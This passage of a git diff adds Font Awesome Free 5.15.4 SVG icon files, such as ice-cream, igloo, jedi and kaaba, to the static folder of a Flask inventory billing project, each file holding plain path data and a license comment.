12-12v-40c0-6.627-5.373-12-12-12h-36V112.182c0-44.932 56.075-48.213 83.95-48.142 6.646.018 12.05-5.346 12.05-11.992z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/ice-cream.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/ice-cream.svg new file mode 100644 index 00000000..abd3b3ec --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/ice-cream.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M368 160h-.94a144 144 0 1 0-286.12 0H80a48 48 0 0 0 0 96h288a48 48 0 0 0 0-96zM195.38 493.69a31.52 31.52 0 0 0 57.24 0L352 288H96z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/icicles.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/icicles.svg new file mode 100644 index 00000000..f23eeba4 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/icicles.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M511.4 37.9C515.1 18.2 500 0 480 0H32C10.6 0-4.8 20.7 1.4 41.2l87.1 273.4c2.5 7.2 12.7 7.2 15.1 0L140 190.5l44.2 187.3c1.9 8.3 13.7 8.3 15.6 0l46.5-196.9 34.1 133.4c2.3 7.6 13 7.6 15.3 0l45.8-172.5 66.7 363.8c1.7 8.6 14 8.6 15.7 0l87.5-467.7z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/icons.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/icons.svg new file mode 100644 index 00000000..b566479a --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/icons.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M116.65 219.35a15.68 15.68 0 0 0 22.65 0l96.75-99.83c28.15-29 26.5-77.1-4.91-103.88C203.75-7.7 163-3.5 137.86 22.44L128 32.58l-9.85-10.14C93.05-3.5 52.25-7.7 24.86 15.64c-31.41 26.78-33 74.85-5 103.88zm143.92 100.49h-48l-7.08-14.24a27.39 27.39 0 0 0-25.66-17.78h-71.71a27.39 27.39 0 0 0-25.66 17.78l-7 14.24h-48A27.45 27.45 0 0 0 0 347.3v137.25A27.44 27.44 0 0 0 27.43 512h233.14A27.45 27.45 0 0 0 288 484.55V347.3a27.45 27.45 0 0 0-27.43-27.46zM144 468a52 52 0 1 1 52-52 52 52 0 0 1-52 52zm355.4-115.9h-60.58l22.36-50.75c2.1-6.65-3.93-13.21-12.18-13.21h-75.59c-6.3 0-11.66 3.9-12.5 9.1l-16.8 106.93c-1 6.3 4.88 11.89 12.5 11.89h62.31l-24.2 83c-1.89 6.65 4.2 12.9 12.23 12.9a13.26 13.26 0 0 0 10.92-5.25l92.4-138.91c4.88-6.91-1.16-15.7-10.87-15.7zM478.08.33L329.51 23.17C314.87 25.42 304 38.92 304 54.83V161.6a83.25 83.25 0 0 0-16-1.7c-35.35 0-64 21.48-64 48s28.65 48 64 48c35.2 0 63.73-21.32 64-47.66V99.66l112-17.22v47.18a83.25 83.25 0 0 0-16-1.7c-35.35 0-64 21.48-64 48s28.65 48 64 48c35.2 0 63.73-21.32 64-47.66V32c0-19.48-16-34.42-33.92-31.67z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/id-badge.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/id-badge.svg new file mode 100644 index 00000000..b1d2bf7a --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/id-badge.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M336 0H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V48c0-26.5-21.5-48-48-48zM144 32h96c8.8 0 16 7.2 16 16s-7.2 16-16 16h-96c-8.8 0-16-7.2-16-16s7.2-16 16-16zm48 128c35.3 0 64 28.7 64 64s-28.7 64-64 64-64-28.7-64-64 28.7-64 64-64zm112 236.8c0 10.6-10 19.2-22.4 19.2H102.4C90 416 80 407.4 80 396.8v-19.2c0-31.8 30.1-57.6 67.2-57.6h5c12.3 5.1 25.7 8 39.8 8s27.6-2.9 39.8-8h5c37.1 0 67.2 25.8 67.2 57.6v19.2z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/id-card-alt.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/id-card-alt.svg new file mode 100644 index 00000000..a784de89 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/id-card-alt.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M528 64H384v96H192V64H48C21.5 64 0 85.5 0 112v352c0 26.5 21.5 48 48 48h480c26.5 0 48-21.5 48-48V112c0-26.5-21.5-48-48-48zM288 224c35.3 0 64 28.7 64 64s-28.7 64-64 64-64-28.7-64-64 28.7-64 64-64zm93.3 224H194.7c-10.4 0-18.8-10-15.6-19.8 8.3-25.6 32.4-44.2 60.9-44.2h8.2c12.3 5.1 25.7 8 39.8 8s27.6-2.9 39.8-8h8.2c28.4 0 52.5 18.5 60.9 44.2 3.2 9.8-5.2 19.8-15.6 19.8zM352 32c0-17.7-14.3-32-32-32h-64c-17.7 0-32 14.3-32 32v96h128V32z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/id-card.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/id-card.svg new file mode 100644 index 00000000..42f8140a --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/id-card.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M528 32H48C21.5 32 0 53.5 0 80v16h576V80c0-26.5-21.5-48-48-48zM0 432c0 26.5 21.5 48 48 48h480c26.5 0 48-21.5 48-48V128H0v304zm352-232c0-4.4 3.6-8 8-8h144c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8H360c-4.4 0-8-3.6-8-8v-16zm0 64c0-4.4 3.6-8 8-8h144c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8H360c-4.4 0-8-3.6-8-8v-16zm0 64c0-4.4 3.6-8 8-8h144c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8H360c-4.4 0-8-3.6-8-8v-16zM176 192c35.3 0 64 28.7 64 64s-28.7 64-64 64-64-28.7-64-64 28.7-64 64-64zM67.1 396.2C75.5 370.5 99.6 352 128 352h8.2c12.3 5.1 25.7 8 39.8 8s27.6-2.9 39.8-8h8.2c28.4 0 52.5 18.5 60.9 44.2 3.2 9.9-5.2 19.8-15.6 19.8H82.7c-10.4 0-18.8-10-15.6-19.8z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/igloo.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/igloo.svg new file mode 100644 index 00000000..4ea06e3f --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/igloo.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M320 33.9c-10.5-1.2-21.2-1.9-32-1.9-99.8 0-187.8 50.8-239.4 128H320V33.9zM96 192H30.3C11.1 230.6 0 274 0 320h96V192zM352 39.4V160h175.4C487.2 99.9 424.8 55.9 352 39.4zM480 320h96c0-46-11.1-89.4-30.3-128H480v128zm-64 64v96h128c17.7 0 32-14.3 32-32v-96H411.5c2.6 10.3 4.5 20.9 4.5 32zm32-192H128v128h49.8c22.2-38.1 63-64 110.2-64s88 25.9 110.2 64H448V192zM0 448c0 17.7 14.3 32 32 32h128v-96c0-11.1 1.9-21.7 4.5-32H0v96zm288-160c-53 0-96 43-96 96v96h192v-96c0-53-43-96-96-96z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/image.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/image.svg new file mode 100644 index 00000000..c32f68b8 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/image.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M464 448H48c-26.51 0-48-21.49-48-48V112c0-26.51 21.49-48 48-48h416c26.51 0 48 21.49 48 48v288c0 26.51-21.49 48-48 48zM112 120c-30.928 0-56 25.072-56 56s25.072 56 56 56 56-25.072 56-56-25.072-56-56-56zM64 384h384V272l-87.515-87.515c-4.686-4.686-12.284-4.686-16.971 0L208 320l-55.515-55.515c-4.686-4.686-12.284-4.686-16.971 0L64 336v48z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/images.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/images.svg new file mode 100644 index 00000000..b1dbb58d --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/images.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M480 416v16c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48V176c0-26.51 21.49-48 48-48h16v208c0 44.112 35.888 80 80 80h336zm96-80V80c0-26.51-21.49-48-48-48H144c-26.51 0-48 21.49-48 48v256c0 26.51 21.49 48 48 48h384c26.51 0 48-21.49 48-48zM256 128c0 26.51-21.49 48-48 48s-48-21.49-48-48 21.49-48 48-48 48 21.49 48 48zm-96 144l55.515-55.515c4.686-4.686 12.284-4.686 16.971 0L272 256l135.515-135.515c4.686-4.686 12.284-4.686 16.971 0L512 208v112H160v-48z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/inbox.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/inbox.svg new file mode 100644 index 00000000..f45f51f2 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/inbox.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M567.938 243.908L462.25 85.374A48.003 48.003 0 0 0 422.311 64H153.689a48 48 0 0 0-39.938 21.374L8.062 243.908A47.994 47.994 0 0 0 0 270.533V400c0 26.51 21.49 48 48 48h480c26.51 0 48-21.49 48-48V270.533a47.994 47.994 0 0 0-8.062-26.625zM162.252 128h251.497l85.333 128H376l-32 64H232l-32-64H76.918l85.334-128z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/indent.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/indent.svg new file mode 100644 index 00000000..3a9b0813 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/indent.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M27.31 363.3l96-96a16 16 0 0 0 0-22.62l-96-96C17.27 138.66 0 145.78 0 160v192c0 14.31 17.33 21.3 27.31 11.3zM432 416H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm3.17-128H204.83A12.82 12.82 0 0 0 192 300.83v38.34A12.82 12.82 0 0 0 204.83 352h230.34A12.82 12.82 0 0 0 448 339.17v-38.34A12.82 12.82 0 0 0 435.17 288zm0-128H204.83A12.82 12.82 0 0 0 192 172.83v38.34A12.82 12.82 0 0 0 204.83 224h230.34A12.82 12.82 0 0 0 448 211.17v-38.34A12.82 12.82 0 0 0 435.17 160zM432 32H16A16 16 0 0 0 0 48v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/industry.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/industry.svg new file mode 100644 index 00000000..c40b41ac --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/industry.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M475.115 163.781L336 252.309v-68.28c0-18.916-20.931-30.399-36.885-20.248L160 252.309V56c0-13.255-10.745-24-24-24H24C10.745 32 0 42.745 0 56v400c0 13.255 10.745 24 24 24h464c13.255 0 24-10.745 24-24V184.029c0-18.917-20.931-30.399-36.885-20.248z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/infinity.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/infinity.svg new file mode 100644 index 00000000..94e066b8 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/infinity.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M471.1 96C405 96 353.3 137.3 320 174.6 286.7 137.3 235 96 168.9 96 75.8 96 0 167.8 0 256s75.8 160 168.9 160c66.1 0 117.8-41.3 151.1-78.6 33.3 37.3 85 78.6 151.1 78.6 93.1 0 168.9-71.8 168.9-160S564.2 96 471.1 96zM168.9 320c-40.2 0-72.9-28.7-72.9-64s32.7-64 72.9-64c38.2 0 73.4 36.1 94 64-20.4 27.6-55.9 64-94 64zm302.2 0c-38.2 0-73.4-36.1-94-64 20.4-27.6 55.9-64 94-64 40.2 0 72.9 28.7 72.9 64s-32.7 64-72.9 64z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/info-circle.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/info-circle.svg new file mode 100644 index 00000000..f7e38706 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/info-circle.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M256 8C119.043 8 8 119.083 8 256c0 136.997 111.043 248 248 248s248-111.003 248-248C504 119.083 392.957 8 256 8zm0 110c23.196 0 42 18.804 42 42s-18.804 42-42 42-42-18.804-42-42 18.804-42 42-42zm56 254c0 6.627-5.373 12-12 12h-88c-6.627 0-12-5.373-12-12v-24c0-6.627 5.373-12 12-12h12v-64h-12c-6.627 0-12-5.373-12-12v-24c0-6.627 5.373-12 12-12h64c6.627 0 12 5.373 12 12v100h12c6.627 0 12 5.373 12 12v24z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/info.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/info.svg new file mode 100644 index 00000000..00799d06 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/info.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 192 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M20 424.229h20V279.771H20c-11.046 0-20-8.954-20-20V212c0-11.046 8.954-20 20-20h112c11.046 0 20 8.954 20 20v212.229h20c11.046 0 20 8.954 20 20V492c0 11.046-8.954 20-20 20H20c-11.046 0-20-8.954-20-20v-47.771c0-11.046 8.954-20 20-20zM96 0C56.235 0 24 32.235 24 72s32.235 72 72 72 72-32.235 72-72S135.764 0 96 0z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/italic.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/italic.svg new file mode 100644 index 00000000..21da76f1 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/italic.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 320 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M320 48v32a16 16 0 0 1-16 16h-62.76l-80 320H208a16 16 0 0 1 16 16v32a16 16 0 0 1-16 16H16a16 16 0 0 1-16-16v-32a16 16 0 0 1 16-16h62.76l80-320H112a16 16 0 0 1-16-16V48a16 16 0 0 1 16-16h192a16 16 0 0 1 16 16z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/jedi.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/jedi.svg new file mode 100644 index 00000000..b2e63167 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/jedi.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M535.95308,352c-42.64069,94.17188-137.64086,160-247.9848,160q-6.39844,0-12.84377-.29688C171.15558,506.9375,81.26481,442.23438,40.01474,352H79.93668L21.3272,293.40625a264.82522,264.82522,0,0,1-5.10938-39.42187,273.6653,273.6653,0,0,1,.5-29.98438H63.93665L22.546,182.625A269.79782,269.79782,0,0,1,130.51489,20.54688a16.06393,16.06393,0,0,1,9.28127-3,16.36332,16.36332,0,0,1,13.5,7.25,16.02739,16.02739,0,0,1,1.625,15.09374,138.387,138.387,0,0,0-9.84376,51.26563c0,45.10937,21.04691,86.57813,57.71884,113.73437a16.29989,16.29989,0,0,1,1.20313,25.39063c-26.54692,23.98437-41.17194,56.5-41.17194,91.57813,0,60.03124,42.95319,110.28124,99.89079,121.92187l2.5-65.26563L238.062,397a8.33911,8.33911,0,0,1-10-.75,8.025,8.025,0,0,1-1.39063-9.9375l20.125-33.76562-42.06257-8.73438a7.9898,7.9898,0,0,1,0-15.65625l42.06257-8.71875-20.10941-33.73438a7.99122,7.99122,0,0,1,11.35939-10.71874L268.437,295.64062,279.95265,7.67188a7.97138,7.97138,0,0,1,8-7.67188h.04687a8.02064,8.02064,0,0,1,7.95314,7.70312L307.48394,295.625l30.39068-20.67188a8.08327,8.08327,0,0,1,10,.8125,7.99866,7.99866,0,0,1,1.39062,9.90626L329.12461,319.4375l42.07819,8.73438a7.99373,7.99373,0,0,1,0,15.65624l-42.07819,8.71876,20.1094,33.73437a7.97791,7.97791,0,0,1-1.32812,9.92187A8.25739,8.25739,0,0,1,337.87462,397L310.7027,378.53125l2.5,65.34375c48.48446-9.40625,87.57828-48.15625,97.31267-96.5A123.52652,123.52652,0,0,0,371.9528,230.29688a16.30634,16.30634,0,0,1,1.20313-25.42188c36.65631-27.17188,57.6876-68.60938,57.6876-113.73438a138.01689,138.01689,0,0,0-9.85939-51.3125,15.98132,15.98132,0,0,1,1.60937-15.09374,16.36914,16.36914,0,0,1,13.5-7.23438,16.02453,16.02453,0,0,1,9.25,2.98438A271.26947,271.26947,0,0,1,553.25,182.76562L511.99992,224h46.9532C559.3125,229.76562,560,235.45312,560,241.26562a270.092,270.092,0,0,1-5.125,51.85938L495.98427,352Z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/joint.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/joint.svg new file mode 100644 index 00000000..f3ed6454 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/joint.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M444.34 181.1c22.38 15.68 35.66 41.16 35.66 68.59V280c0 4.42 3.58 8 8 8h48c4.42 0 8-3.58 8-8v-30.31c0-43.24-21.01-83.41-56.34-108.06C463.85 125.02 448 99.34 448 70.31V8c0-4.42-3.58-8-8-8h-48c-4.42 0-8 3.58-8 8v66.4c0 43.69 24.56 81.63 60.34 106.7zM194.97 358.98C126.03 370.07 59.69 394.69 0 432c83.65 52.28 180.3 80 278.94 80h88.57L254.79 380.49c-14.74-17.2-37.45-25.11-59.82-21.51zM553.28 87.09c-5.67-3.8-9.28-9.96-9.28-16.78V8c0-4.42-3.58-8-8-8h-48c-4.42 0-8 3.58-8 8v62.31c0 22.02 10.17 43.41 28.64 55.39C550.79 153.04 576 199.54 576 249.69V280c0 4.42 3.58 8 8 8h48c4.42 0 8-3.58 8-8v-30.31c0-65.44-32.41-126.19-86.72-162.6zM360.89 352.05c-34.4.06-86.81.15-88.21.17l117.8 137.43A63.987 63.987 0 0 0 439.07 512h88.45L409.57 374.4a63.955 63.955 0 0 0-48.68-22.35zM616 352H432l117.99 137.65A63.987 63.987 0 0 0 598.58 512H616c13.25 0 24-10.75 24-24V376c0-13.26-10.75-24-24-24z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/journal-whills.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/journal-whills.svg new file mode 100644 index 00000000..3868ba30 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/journal-whills.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M438.40625,377.59375c-3.20313,12.8125-3.20313,57.60937,0,73.60937Q447.9922,460.78907,448,470.40625v16c0,16-12.79688,25.59375-25.59375,25.59375H96c-54.40625,0-96-41.59375-96-96V96C0,41.59375,41.59375,0,96,0H422.40625C438.40625,0,448,9.59375,448,25.59375v332.8125Q448,372.79688,438.40625,377.59375ZM380.79688,384H96c-16,0-32,12.79688-32,32s12.79688,32,32,32H380.79688ZM128.01562,176.01562c0,.51563.14063.98438.14063,1.5l37.10937,32.46876A7.99954,7.99954,0,0,1,160,224h-.01562a9.17678,9.17678,0,0,1-5.25-1.98438L131.14062,201.375C142.6875,250.95312,186.90625,288,240,288s97.3125-37.04688,108.875-86.625l-23.59375,20.64062a8.02516,8.02516,0,0,1-5.26563,1.96876H320a9.14641,9.14641,0,0,1-6.01562-2.71876A9.26508,9.26508,0,0,1,312,216a9.097,9.097,0,0,1,2.73438-6.01562l37.10937-32.46876c.01563-.53124.15625-1,.15625-1.51562,0-11.04688-2.09375-21.51562-5.06251-31.59375l-21.26562,21.25a8.00467,8.00467,0,0,1-11.32812-11.3125l26.42187-26.40625a111.81517,111.81517,0,0,0-46.35937-49.26562,63.02336,63.02336,0,0,1-14.0625,82.64062A55.83846,55.83846,0,0,1,251.625,254.73438l-1.42188-34.28126,12.67188,8.625a3.967,3.967,0,0,0,2.25.6875,3.98059,3.98059,0,0,0,3.43749-6.03124l-8.53124-14.3125,17.90625-3.71876a4.00647,4.00647,0,0,0,0-7.84374l-17.90625-3.71876,8.53124-14.3125a3.98059,3.98059,0,0,0-3.43749-6.03124,4.726,4.726,0,0,0-2.25.67187L248.6875,184.125,244,71.82812a4.00386,4.00386,0,0,0-8,0l-4.625,110.8125-12-8.15624a4.003,4.003,0,0,0-5.68751,5.35937l8.53126,14.3125L204.3125,197.875a3.99686,3.99686,0,0,0,0,7.82812l17.90625,3.73438-8.53126,14.29688a4.72469,4.72469,0,0,0-.56249,2.04687,4.59547,4.59547,0,0,0,1.25,2.90625,4.01059,4.01059,0,0,0,2.75,1.09375,4.09016,4.09016,0,0,0,2.25-.6875l10.35937-7.04687L228.375,254.76562a55.86414,55.86414,0,0,1-28.71875-93.45312,63.01119,63.01119,0,0,1-14.04688-82.65625,111.93158,111.93158,0,0,0-46.375,49.26563l26.42187,26.42187a7.99917,7.99917,0,0,1-11.3125,11.3125l-21.26563-21.26563C130.09375,154.48438,128,164.95312,128.01562,176.01562Z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/kaaba.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/kaaba.svg new file mode 100644 index 00000000..f490900e --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/kaaba.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M554.12 83.51L318.36 4.93a95.962 95.962 0 0 0-60.71 0L21.88 83.51A32.006 32.006 0 0 0 0 113.87v49.01l265.02-79.51c15.03-4.5 30.92-4.5 45.98 0l265 79.51v-49.01c0-13.77-8.81-26-21.88-30.36zm-279.9 30.52L0 196.3v228.38c0 15 10.42 27.98 25.06 31.24l242.12 53.8a95.937 95.937 0 0 0 41.65 0l242.12-53.8c14.64-3.25 25.06-16.24 25.06-31.24V196.29l-274.2-82.26c-9.04-2.72-18.59-2.72-27.59 0zM128 230.11c0 3.61-2.41 6.77-5.89 7.72l-80 21.82C37.02 261.03 32 257.2 32 251.93v-16.58c0-3.61 2.41-6.77 5.89-7.72l80-21.82c5.09-1.39 10.11 2.44 10.11 7.72v16.58zm144-39.28c0 3.61-2.41 6.77-5.89 7.72l-96 26.18c-5.09 